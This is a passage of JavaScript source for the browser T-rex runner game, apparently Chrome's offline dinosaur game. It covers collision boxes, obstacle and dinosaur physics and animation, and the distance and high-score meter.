* @param {!Obstacle} obstacle
* @param {!Trex} tRex T-rex object.
* @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
* drawing collision boxes.
* @return {Array<CollisionBox>|undefined}
*/
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;
// Adjustments are made to the bounding box as there is a 1 pixel white
// border around the t-rex and obstacles.
const tRexBox = new CollisionBox(
tRex.xPos + 1,
tRex.yPos + 1,
tRex.config.WIDTH - 2,
tRex.config.HEIGHT - 2);
const obstacleBox = new CollisionBox(
obstacle.xPos + 1,
obstacle.yPos + 1,
obstacle.typeConfig.width * obstacle.size - 2,
obstacle.typeConfig.height - 2);
// Debug outer box
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
}
// Simple outer bounds check.
if (boxCompare(tRexBox, obstacleBox)) {
const collisionBoxes = obstacle.collisionBoxes;
let tRexCollisionBoxes = [];
if (Runner.isAltGameModeEnabled()) {
tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
} else {
tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
Trex.collisionBoxes.RUNNING;
}
// Detailed axis aligned box check.
for (let t = 0; t < tRexCollisionBoxes.length; t++) {
for (let i = 0; i < collisionBoxes.length; i++) {
// Adjust the box to actual positions.
const adjTrexBox =
createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
const adjObstacleBox =
createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
const crashed = boxCompare(adjTrexBox, adjObstacleBox);
// Draw boxes for debug.
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
}
if (crashed) {
return [adjTrexBox, adjObstacleBox];
}
}
}
}
}
/**
* Adjust the collision box.
* @param {!CollisionBox} box The original box.
* @param {!CollisionBox} adjustment Adjustment box.
* @return {CollisionBox} The adjusted collision box object.
*/
function createAdjustedCollisionBox(box, adjustment) {
return new CollisionBox(
box.x + adjustment.x,
box.y + adjustment.y,
box.width,
box.height);
}
/**
* Draw the collision boxes for debug.
*/
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
canvasCtx.save();
canvasCtx.strokeStyle = '#f00';
canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);
canvasCtx.strokeStyle = '#0f0';
canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
obstacleBox.width, obstacleBox.height);
canvasCtx.restore();
}
/**
* Compare two collision boxes for a collision.
* @param {CollisionBox} tRexBox
* @param {CollisionBox} obstacleBox
* @return {boolean} Whether the boxes intersected.
*/
function boxCompare(tRexBox, obstacleBox) {
let crashed = false;
const tRexBoxX = tRexBox.x;
const tRexBoxY = tRexBox.y;
const obstacleBoxX = obstacleBox.x;
const obstacleBoxY = obstacleBox.y;
// Axis-Aligned Bounding Box method.
if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
tRexBox.x + tRexBox.width > obstacleBoxX &&
tRexBox.y < obstacleBox.y + obstacleBox.height &&
tRexBox.height + tRexBox.y > obstacleBox.y) {
crashed = true;
}
return crashed;
}
//******************************************************************************
/**
* Collision box object.
* @param {number} x X position.
* @param {number} y Y Position.
* @param {number} w Width.
* @param {number} h Height.
* @constructor
*/
function CollisionBox(x, y, w, h) {
this.x = x;
this.y = y;
this.width = w;
this.height = h;
}
//******************************************************************************
/**
* Obstacle.
* @param {CanvasRenderingContext2D} canvasCtx
* @param {ObstacleType} type
* @param {Object} spriteImgPos Obstacle position in sprite.
* @param {Object} dimensions
* @param {number} gapCoefficient Mutipler in determining the gap.
* @param {number} speed
* @param {number=} opt_xOffset
* @param {boolean=} opt_isAltGameMode
* @constructor
*/
function Obstacle(
canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
opt_xOffset, opt_isAltGameMode) {
this.canvasCtx = canvasCtx;
this.spritePos = spriteImgPos;
this.typeConfig = type;
this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
this.dimensions = dimensions;
this.remove = false;
this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
this.yPos = 0;
this.width = 0;
this.collisionBoxes = [];
this.gap = 0;
this.speedOffset = 0;
this.altGameModeActive = opt_isAltGameMode;
this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
Runner.altCommonImageSprite :
this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;
// For animated obstacles.
this.currentFrame = 0;
this.timer = 0;
this.init(speed);
}
/**
* Coefficient for calculating the maximum gap.
*/
Obstacle.MAX_GAP_COEFFICIENT = 1.5;
/**
* Maximum obstacle grouping count.
*/
Obstacle.MAX_OBSTACLE_LENGTH = 3;
Obstacle.prototype = {
/**
* Initialise the DOM for the obstacle.
* @param {number} speed
*/
init(speed) {
this.cloneCollisionBoxes();
// Only allow sizing if we're at the right speed.
if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
this.size = 1;
}
this.width = this.typeConfig.width * this.size;
// Check if obstacle can be positioned at various heights.
if (Array.isArray(this.typeConfig.yPos)) {
const yPosConfig =
IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
} else {
this.yPos = this.typeConfig.yPos;
}
this.draw();
// Make collision box adjustments,
// Central box is adjusted to the size as one box.
// ____ ______ ________
// _| |-| _| |-| _| |-|
// | |<->| | | |<--->| | | |<----->| |
// | | 1 | | | | 2 | | | | 3 | |
// |_|___|_| |_|_____|_| |_|_______|_|
//
if (this.size > 1) {
this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
this.collisionBoxes[2].width;
this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
}
// For obstacles that go at a different speed from the horizon.
if (this.typeConfig.speedOffset) {
this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
-this.typeConfig.speedOffset;
}
this.gap = this.getGap(this.gapCoefficient, speed);
// Increase gap for audio cues enabled.
if (Runner.audioCues) {
this.gap *= 2;
}
},
/**
* Draw and crop based on size.
*/
draw() {
let sourceWidth = this.typeConfig.width;
let sourceHeight = this.typeConfig.height;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
// X position in sprite.
let sourceX =
(sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;
// Animation frames.
if (this.currentFrame > 0) {
sourceX += sourceWidth * this.currentFrame;
}
this.canvasCtx.drawImage(
this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
this.typeConfig.height);
},
/**
* Obstacle frame update.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
if (!this.remove) {
if (this.typeConfig.speedOffset) {
speed += this.speedOffset;
}
this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);
// Update frame
if (this.typeConfig.numFrames) {
this.timer += deltaTime;
if (this.timer >= this.typeConfig.frameRate) {
this.currentFrame =
this.currentFrame === this.typeConfig.numFrames - 1 ?
0 :
this.currentFrame + 1;
this.timer = 0;
}
}
this.draw();
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Calculate a random gap size.
* - Minimum gap gets wider as speed increses
* @param {number} gapCoefficient
* @param {number} speed
* @return {number} The gap size.
*/
getGap(gapCoefficient, speed) {
const minGap = Math.round(
this.width * speed + this.typeConfig.minGap * gapCoefficient);
const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
return getRandomNum(minGap, maxGap);
},
/**
* Check if obstacle is visible.
* @return {boolean} Whether the obstacle is in the game area.
*/
isVisible() {
return this.xPos + this.width > 0;
},
/**
* Make a copy of the collision boxes, since these will change based on
* obstacle type and size.
*/
cloneCollisionBoxes() {
const collisionBoxes = this.typeConfig.collisionBoxes;
for (let i = collisionBoxes.length - 1; i >= 0; i--) {
this.collisionBoxes[i] = new CollisionBox(
collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
collisionBoxes[i].height);
}
},
};
//******************************************************************************
/**
* T-rex game character.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Positioning within image sprite.
* @constructor
*/
function Trex(canvas, spritePos) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.spritePos = spritePos;
this.xPos = 0;
this.yPos = 0;
this.xInitialPos = 0;
// Position when on the ground.
this.groundYPos = 0;
this.currentFrame = 0;
this.currentAnimFrames = [];
this.blinkDelay = 0;
this.blinkCount = 0;
this.animStartTime = 0;
this.timer = 0;
this.msPerFrame = 1000 / FPS;
this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
// Current status.
this.status = Trex.status.WAITING;
this.jumping = false;
this.ducking = false;
this.jumpVelocity = 0;
this.reachedMinHeight = false;
this.speedDrop = false;
this.jumpCount = 0;
this.jumpspotX = 0;
this.altGameModeEnabled = false;
this.flashing = false;
this.init();
}
/**
* T-rex player config.
*/
Trex.config = {
DROP_VELOCITY: -5,
FLASH_OFF: 175,
FLASH_ON: 100,
HEIGHT: 47,
HEIGHT_DUCK: 25,
INTRO_DURATION: 1500,
SPEED_DROP_COEFFICIENT: 3,
SPRITE_WIDTH: 262,
START_X_POS: 50,
WIDTH: 44,
WIDTH_DUCK: 59,
};
Trex.slowJumpConfig = {
GRAVITY: 0.25,
MAX_JUMP_HEIGHT: 50,
MIN_JUMP_HEIGHT: 45,
INITIAL_JUMP_VELOCITY: -20,
};
Trex.normalJumpConfig = {
GRAVITY: 0.6,
MAX_JUMP_HEIGHT: 30,
MIN_JUMP_HEIGHT: 30,
INITIAL_JUMP_VELOCITY: -10,
};
/**
* Used in collision detection.
* @enum {Array<CollisionBox>}
*/
Trex.collisionBoxes = {
DUCKING: [new CollisionBox(1, 18, 55, 25)],
RUNNING: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
};
/**
* Animation states.
* @enum {string}
*/
Trex.status = {
CRASHED: 'CRASHED',
DUCKING: 'DUCKING',
JUMPING: 'JUMPING',
RUNNING: 'RUNNING',
WAITING: 'WAITING',
};
/**
* Blinking coefficient.
* @const
*/
Trex.BLINK_TIMING = 7000;
/**
* Animation config for different states.
* @enum {Object}
*/
Trex.animFrames = {
WAITING: {
frames: [44, 0],
msPerFrame: 1000 / 3,
},
RUNNING: {
frames: [88, 132],
msPerFrame: 1000 / 12,
},
CRASHED: {
frames: [220],
msPerFrame: 1000 / 60,
},
JUMPING: {
frames: [0],
msPerFrame: 1000 / 60,
},
DUCKING: {
frames: [264, 323],
msPerFrame: 1000 / 8,
},
};
Trex.prototype = {
/**
* T-rex player initaliser.
* Sets the t-rex to blink at random intervals.
*/
init() {
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.config.BOTTOM_PAD;
this.yPos = this.groundYPos;
this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;
this.draw(0, 0);
this.update(0, Trex.status.WAITING);
},
/**
* Assign the appropriate jump parameters based on the game speed.
*/
enableSlowConfig: function() {
const jumpConfig =
Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
Trex.config = Object.assign(Trex.config, jumpConfig);
this.adjustAltGameConfigForSlowSpeed();
},
/**
* Enables the alternative game. Redefines the dino config.
* @param {Object} spritePos New positioning within image sprite.
*/
enableAltGameMode: function(spritePos) {
this.altGameModeEnabled = true;
this.spritePos = spritePos;
const spriteDefinition = Runner.spriteDefinition['TREX'];
// Update animation frames.
Trex.animFrames.RUNNING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];
if (typeof spriteDefinition.JUMPING.x == 'object') {
Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
} else {
Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
}
Trex.animFrames.DUCKING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
// Update Trex config
Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;
this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
this.config = Trex.config;
// Adjust bottom horizon placement.
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.spriteDefinition['BOTTOM_PAD'];
this.yPos = this.groundYPos;
this.reset();
},
/**
* Slow speeds adjustments for the alt game modes.
* @param {number=} opt_gravityValue
*/
adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
if (Runner.slowDown) {
if (opt_gravityValue) {
Trex.config.GRAVITY = opt_gravityValue / 1.5;
}
Trex.config.MIN_JUMP_HEIGHT *= 1.5;
Trex.config.MAX_JUMP_HEIGHT *= 1.5;
Trex.config.INITIAL_JUMP_VELOCITY =
Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
}
},
/**
* Setter whether dino is flashing.
* @param {boolean} status
*/
setFlashing: function(status) {
this.flashing = status;
},
/**
* Setter for the jump velocity.
* The approriate drop velocity is also set.
* @param {number} setting
*/
setJumpVelocity(setting) {
this.config.INITIAL_JUMP_VELOCITY = -setting;
this.config.DROP_VELOCITY = -setting / 2;
},
/**
* Set the animation status.
* @param {!number} deltaTime
* @param {Trex.status=} opt_status Optional status to switch to.
*/
update(deltaTime, opt_status) {
this.timer += deltaTime;
// Update the status.
if (opt_status) {
this.status = opt_status;
this.currentFrame = 0;
this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
this.currentAnimFrames = Trex.animFrames[opt_status].frames;
if (opt_status === Trex.status.WAITING) {
this.animStartTime = getTimeStamp();
this.setBlinkDelay();
}
}
// Game intro animation, T-rex moves in from the left.
if (this.playingIntro && this.xPos < this.config.START_X_POS) {
this.xPos += Math.round((this.config.START_X_POS /
this.config.INTRO_DURATION) * deltaTime);
this.xInitialPos = this.xPos;
}
if (this.status === Trex.status.WAITING) {
this.blink(getTimeStamp());
} else {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
}
// Update the frame position.
if (!this.flashing && this.timer >= this.msPerFrame) {
this.currentFrame = this.currentFrame ==
this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
this.timer = 0;
}
if (!this.altGameModeEnabled) {
// Speed drop becomes duck if the down key is still being pressed.
if (this.speedDrop && this.yPos === this.groundYPos) {
this.speedDrop = false;
this.setDuck(true);
}
}
},
/**
* Draw the t-rex to a particular position.
* @param {number} x
* @param {number} y
*/
draw(x, y) {
let sourceX = x;
let sourceY = y;
let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
this.config.WIDTH_DUCK :
this.config.WIDTH;
let sourceHeight = this.config.HEIGHT;
const outputHeight = sourceHeight;
let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;
// Width of sprite changes on jump.
if (this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
sourceWidth = this.config.WIDTH_JUMP;
}
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
sourceWidth *= 2;
sourceHeight *= 2;
jumpOffset *= 2;
}
// Adjustments for sprite sheet position.
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
// Flashing.
if (this.flashing) {
if (this.timer < this.config.FLASH_ON) {
this.canvasCtx.globalAlpha = 0.5;
} else if (this.timer > this.config.FLASH_OFF) {
this.timer = 0;
}
}
// Ducking.
if (!this.altGameModeEnabled && this.ducking &&
this.status !== Trex.status.CRASHED) {
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH_DUCK, outputHeight);
} else if (
this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
// Jumping with adjustments.
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
outputHeight);
} else {
// Crashed whilst ducking. Trex is standing up so needs adjustment.
if (this.ducking && this.status === Trex.status.CRASHED) {
this.xPos++;
}
// Standing / running
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH, outputHeight);
}
this.canvasCtx.globalAlpha = 1;
},
/**
* Sets a random time for the blink to happen.
*/
setBlinkDelay() {
this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
},
/**
* Make t-rex blink at random intervals.
* @param {number} time Current time in milliseconds.
*/
blink(time) {
const deltaTime = time - this.animStartTime;
if (deltaTime >= this.blinkDelay) {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
if (this.currentFrame === 1) {
// Set new random delay to blink.
this.setBlinkDelay();
this.animStartTime = time;
this.blinkCount++;
}
}
},
/**
* Initialise a jump.
* @param {number} speed
*/
startJump(speed) {
if (!this.jumping) {
this.update(0, Trex.status.JUMPING);
// Tweak the jump velocity based on the speed.
this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
this.jumping = true;
this.reachedMinHeight = false;
this.speedDrop = false;
if (this.config.INVERT_JUMP) {
this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
}
}
},
/**
* Jump is complete, falling down.
*/
endJump() {
if (this.reachedMinHeight &&
this.jumpVelocity < this.config.DROP_VELOCITY) {
this.jumpVelocity = this.config.DROP_VELOCITY;
}
},
/**
* Update frame for a jump.
* @param {number} deltaTime
*/
updateJump(deltaTime) {
const msPerFrame = Trex.animFrames[this.status].msPerFrame;
const framesElapsed = deltaTime / msPerFrame;
// Speed drop makes Trex fall faster.
if (this.speedDrop) {
this.yPos += Math.round(this.jumpVelocity *
this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
} else if (this.config.INVERT_JUMP) {
this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
} else {
this.yPos += Math.round(this.jumpVelocity * framesElapsed);
}
this.jumpVelocity += this.config.GRAVITY * framesElapsed;
// Minimum height has been reached.
if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
!this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
this.speedDrop) {
this.reachedMinHeight = true;
}
// Reached max height.
if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
!this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
this.speedDrop) {
this.endJump();
}
// Back down at ground level. Jump completed.
if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
(!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
this.reset();
this.jumpCount++;
if (Runner.audioCues) {
Runner.generatedSoundFx.loopFootSteps();
}
}
},
/**
* Set the speed drop. Immediately cancels the current jump.
*/
setSpeedDrop() {
this.speedDrop = true;
this.jumpVelocity = 1;
},
/**
* @param {boolean} isDucking
*/
setDuck(isDucking) {
if (isDucking && this.status !== Trex.status.DUCKING) {
this.update(0, Trex.status.DUCKING);
this.ducking = true;
} else if (this.status === Trex.status.DUCKING) {
this.update(0, Trex.status.RUNNING);
this.ducking = false;
}
},
/**
* Reset the t-rex to running at start of game.
*/
reset() {
this.xPos = this.xInitialPos;
this.yPos = this.groundYPos;
this.jumpVelocity = 0;
this.jumping = false;
this.ducking = false;
this.update(0, Trex.status.RUNNING);
this.midair = false;
this.speedDrop = false;
this.jumpCount = 0;
},
};
//******************************************************************************
/**
* Handles displaying the distance meter.
* @param {!HTMLCanvasElement} canvas
* @param {Object} spritePos Image position in sprite.
* @param {number} canvasWidth
* @constructor
*/
function DistanceMeter(canvas, spritePos, canvasWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.image = Runner.imageSprite;
this.spritePos = spritePos;
this.x = 0;
this.y = 5;
this.currentDistance = 0;
this.maxScore = 0;
this.highScore = '0';
this.container = null;
this.digits = [];
this.achievement = false;
this.defaultString = '';
this.flashTimer = 0;
this.flashIterations = 0;
this.invertTrigger = false;
this.flashingRafId = null;
this.highScoreBounds = {};
this.highScoreFlashing = false;
this.config = DistanceMeter.config;
this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
this.canvasWidth = canvasWidth;
this.init(canvasWidth);
}
/**
* @enum {number}
*/
DistanceMeter.dimensions = {
WIDTH: 10,
HEIGHT: 13,
DEST_WIDTH: 11,
};
/**
* Y positioning of the digits in the sprite sheet.
* X position is always 0.
* @type {Array<number>}
*/
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];
/**
* Distance meter config.
* @enum {number}
*/
DistanceMeter.config = {
// Number of digits.
MAX_DISTANCE_UNITS: 5,
// Distance that causes achievement animation.
ACHIEVEMENT_DISTANCE: 100,
// Used for conversion from pixel distance to a scaled unit.
COEFFICIENT: 0.025,
// Flash duration in milliseconds.
FLASH_DURATION: 1000 / 4,
// Flash iterations for achievement animation.
FLASH_ITERATIONS: 3,
// Padding around the high score hit area.
HIGH_SCORE_HIT_AREA_PADDING: 4,
};
DistanceMeter.prototype = {
/**
* Initialise the distance meter to '00000'.
* @param {number} width Canvas width in px.
*/
init(width) {
let maxDistanceStr = '';
this.calcXPos(width);
this.maxScore = this.maxScoreUnits;
for (let i = 0; i < this.maxScoreUnits; i++) {
this.draw(i, 0);
this.defaultString += '0';
maxDistanceStr += '9';
}
this.maxScore = parseInt(maxDistanceStr, 10);
},
/**
* Calculate the xPos in the canvas.
* @param {number} canvasWidth
*/
calcXPos(canvasWidth) {
this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
(this.maxScoreUnits + 1));
},
/**
* Draw a digit to canvas.
* @param {number} digitPos Position of the digit.
* @param {number} value Digit value 0-9.
* @param {boolean=} opt_highScore Whether drawing the high score.
*/
draw(digitPos, value, opt_highScore) {
let sourceWidth = DistanceMeter.dimensions.WIDTH;
let sourceHeight = DistanceMeter.dimensions.HEIGHT;
let sourceX = DistanceMeter.dimensions.WIDTH * value;
let sourceY = 0;
const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
const targetY = this.y;
const targetWidth = DistanceMeter.dimensions.WIDTH;
const targetHeight = DistanceMeter.dimensions.HEIGHT;
// For high DPI we 2x source values.
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
this.canvasCtx.save();
if (IS_RTL) {
if (opt_highScore) {
this.canvasCtx.translate(
this.canvasWidth -
(DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
this.y);
} else {
this.canvasCtx.translate(
this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
}
this.canvasCtx.scale(-1, 1);
} else {
const highScoreX =
this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
if (opt_highScore) {
this.canvasCtx.translate(highScoreX, this.y);
} else {
this.canvasCtx.translate(this.x, this.y);
}
}
this.canvasCtx.drawImage(
this.image,
sourceX,
sourceY,
sourceWidth,
sourceHeight,
targetX,
targetY,
targetWidth,
targetHeight,
);
this.canvasCtx.restore();
},
/**
* Covert pixel distance to a 'real' distance.
* @param {number} distance Pixel distance ran.
* @return {number} The 'real' distance ran.
*/
getActualDistance(distance) {
return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
},
/**
* Update the distance meter.
* @param {number} distance
* @param {number} deltaTime
* @return {boolean} Whether the acheivement sound fx should be played.
*/
update(deltaTime, distance) {
let paint = true;
let playSound = false;
if (!this.achievement) {
distance = this.getActualDistance(distance);
// Score has gone beyond the initial digit count.
if (distance > this.maxScore && this.maxScoreUnits ==
this.config.MAX_DISTANCE_UNITS) {
this.maxScoreUnits++;
this.maxScore = parseInt(this.maxScore + '9', 10);
} else {
this.distance = 0;
}
if (distance > 0) {
// Achievement unlocked.
if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
// Flash score and play sound.
this.achievement = true;
this.flashTimer = 0;
playSound = true;
}
// Create a string representation of the distance with leading 0.
const distanceStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.digits = distanceStr.split('');
} else {
this.digits = this.defaultString.split('');
}
} else {
// Control flashing of the score on reaching acheivement.
if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
} else {
this.achievement = false;
this.flashIterations = 0;
this.flashTimer = 0;
}
}
// Draw the digits if not flashing.
if (paint) {
for (let i = this.digits.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.digits[i], 10));
}
}
this.drawHighScore();
return playSound;
},
/**
* Draw the high score.
*/
drawHighScore() {
if (parseInt(this.highScore, 10) > 0) {
this.canvasCtx.save();
this.canvasCtx.globalAlpha = .8;
for (let i = this.highScore.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.highScore[i], 10), true);
}
this.canvasCtx.restore();
}
},
/**
* Set the highscore as a array string.
* Position of char in the sprite: H - 10, I - 11.
* @param {number} distance Distance ran in pixels.
*/
setHighScore(distance) {
distance = this.getActualDistance(distance);
const highScoreStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
},
/**
* Whether a clicked is in the high score area.
* @param {Event} e Event object.
* @return {boolean} Whether the click was in the high score bounds.
*/
hasClickedOnHighScore(e) {
let x = 0;
let y = 0;
if (e.touches) {
// Bounds for touch differ from pointer.
const canvasBounds = this.canvas.getBoundingClientRect();
x = e.touches[0].clientX - canvasBounds.left;
y = e.touches[0].clientY - canvasBounds.top;
} else {
x = e.offsetX;
y = e.offsetY;
}
this.highScoreBounds = this.getHighScoreBounds();
return x >= this.highScoreBounds.x && x <=
this.highScoreBounds.x + this.highScoreBounds.width &&
y >= this.highScoreBounds.y && y <=
this.highScoreBounds.y + this.highScoreBounds.height;
},
/**
* Get the bounding box for the high score.
* @return {Object} Object with x, y, width and height properties.
*/
getHighScoreBounds() {
return {
x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
y: this.y,
width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
height: DistanceMeter.dimensions.HEIGHT +
(DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
};
},
/**
* Animate flashing the high score to indicate ready for resetting.
* The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
*/
flashHighScore() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
let paint = true;
this.frameTimeStamp = now;
// Reached the max number of flashes.
if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
this.cancelHighScoreFlashing();
return;
}
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
if (paint) {
this.drawHighScore();
} else {
this.clearHighScoreBounds();
}
// Frame update.
this.flashingRafId =
requestAnimationFrame(this.flashHighScore.bind(this));
},
/**
* Draw empty rectangle over high score.
*/
clearHighScoreBounds() {
this.canvasCtx.save();
this.canvasCtx.fillStyle = '#fff';
this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
this.highScoreBounds.width, this.highScoreBounds.height);
this.canvasCtx.fill();
this.canvasCtx.restore();
},
/**
* Starts the flashing of the high score.
*/
startHighScoreFlashing() {
this.highScoreFlashing = true;
this.flashHighScore();
},
/**
* Whether high score is flashing.
* @return {boolean}
*/
isHighScoreFlashing() {
return this.highScoreFlashing;
},
/**
* Stop flashing the high score.
*/
cancelHighScoreFlashing() {
if (this.flashingRafId) {
cancelAnimationFrame(this.flashingRafId);
}
this.flashIterations = 0;
this.flashTimer = 0;
this.highScoreFlashing = false;
this.clearHighScoreBounds();
this.drawHighScore();
},
/**
* Clear the high score.
*/
resetHighScore() {
this.setHighScore(0);
this.cancelHighScoreFlashing();
},
/**
* Reset the distance meter back to '00000'.
*/
reset() {
this.update(0, 0);
this.achievement = false;
},
};
//******************************************************************************
/**
* Cloud background item.
* Similar to an obstacle object but without collision boxes.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @constructor
*/
function Cloud(canvas, spritePos, containerWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
